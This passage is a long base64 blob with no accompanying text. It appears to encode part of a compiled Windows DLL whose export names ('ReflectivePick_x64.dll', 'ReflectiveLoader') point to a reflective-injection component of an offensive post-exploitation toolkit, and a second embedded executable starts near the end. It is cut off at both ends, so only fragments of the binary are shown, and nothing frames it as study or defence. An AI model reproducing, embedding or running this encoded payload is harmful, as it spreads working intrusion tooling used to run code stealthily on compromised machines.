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CTAQAAAAAATpMBAAAAAABckwEAAAAAAGaTAQAAAAAAepMBAAAAAACGkwEAAAAAAJyTAQAAAAAArpMBAAAAAAC4kwEAAAAAAMSTAQAAAAAA0JMBAAAAAADikwEAAAAAAPCTAQAAAAAABpQBAAAAAAAalAEAAAAAACqUAQAAAAAAPJQBAAAAAABOlAEAAAAAAFqUAQAAAAAAAAAAAAAAAAAQAAAAAAAAgBoAAAAAAACAmwEAAAAAAIAWAAAAAAAAgBUAAAAAAACADwAAAAAAAIAJAAAAAAAAgAgAAAAAAACABgAAAAAAAIACAAAAAAAAgAAAAAAAAAAApAJHZXRQcm9jQWRkcmVzcwAAqwNMb2FkTGlicmFyeVcAAEtFUk5FTDMyLmRsbAAAT0xFQVVUMzIuZGxsAADOAUdldENvbW1hbmRMaW5lQQAUAkdldEN1cnJlbnRUaHJlYWRJZAAAagNJc0RlYnVnZ2VyUHJlc2VudABwA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAVgJHZXRMYXN0RXJyb3IAADwDSGVhcEZyZWUAADgDSGVhcEFsbG9jACUBRW5jb2RlUG9pbnRlcgD/AERlY29kZVBvaW50ZXIAtwRSdGxQY1RvRmlsZUhlYWRlcgBEBFJhaXNlRXhjZXB0aW9uAAApAUVudGVyQ3JpdGljYWxTZWN0aW9uAAClA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAC7BFJ0bFVud2luZEV4ABkFU2V0TGFzdEVycm9yAABXAUV4aXRQcm9jZXNzAGwCR2V0TW9kdWxlSGFuZGxlRXhXAADUA011bHRpQnl0ZVRvV2lkZUNoYXIA3QVXaWRlQ2hhclRvTXVsdGlCeXRlAKkCR2V0UHJvY2Vzc0hlYXAAAMcCR2V0U3RkSGFuZGxlAABFAkdldEZpbGVUeXBlAAYBRGVsZXRlQ3JpdGljYWxTZWN0aW9uAMUCR2V0U3RhcnR1cEluZm9XAGgCR2V0TW9kdWxlRmlsZU5hbWVBAAAwBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyABACR2V0Q3VycmVudFByb2Nlc3NJZADdAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAC4CR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAowFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwCuBFJ0bENhcHR1cmVDb250ZXh0ALUEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAvARSdGxWaXJ0dWFsVW53aW5kAACSBVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAUgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAUQNJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AGEFU2xlZXAADwJHZXRDdXJyZW50UHJvY2VzcwBwBVRlcm1pbmF0ZVByb2Nlc3MAAIIFVGxzQWxsb2MAAIQFVGxzR2V0VmFsdWUAhQVUbHNTZXRWYWx1ZQCDBVRsc0ZyZWUAbQJHZXRNb2R1bGVIYW5kbGVXAADxBVdyaXRlRmlsZQBpAkdldE1vZHVsZUZpbGVOYW1lVwAAdQNJc1ZhbGlkQ29kZVBhZ2UAqgFHZXRBQ1AAAI0CR2V0T0VNQ1AAALkBR2V0Q1BJbmZvAKoDTG9hZExpYnJhcnlFeFcAAD8DSGVhcFJlQWxsb2MA/QNPdXRwdXREZWJ1Z1N0cmluZ1cAAJgBRmx1c2hGaWxlQnVmZmVycwAA4gFHZXRDb25zb2xlQ1AAAPQBR2V0Q29uc29sZU1vZGUAAMwCR2V0U3RyaW5nVHlwZVcAAEEDSGVhcFNpemUAAJkDTENNYXBTdHJpbmdXAAB/AENsb3NlSGFuZGxlADAFU2V0U3RkSGFuZGxlAAAMBVNldEZpbGVQb2ludGVyRXgAAPAFV3JpdGVDb25zb2xlVwDCAENyZWF0ZUZpbGVXAB4GbHN0cmxlbkEAALUDTG9jYWxGcmVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMqLfLZkrAADNXSDSZtT//wADAoABAAAAAAAAAAAAAAAAAwKAAQAAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAwAAAAIAAAA/////wAAAAAAAAAAAAAAAP//////////gAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA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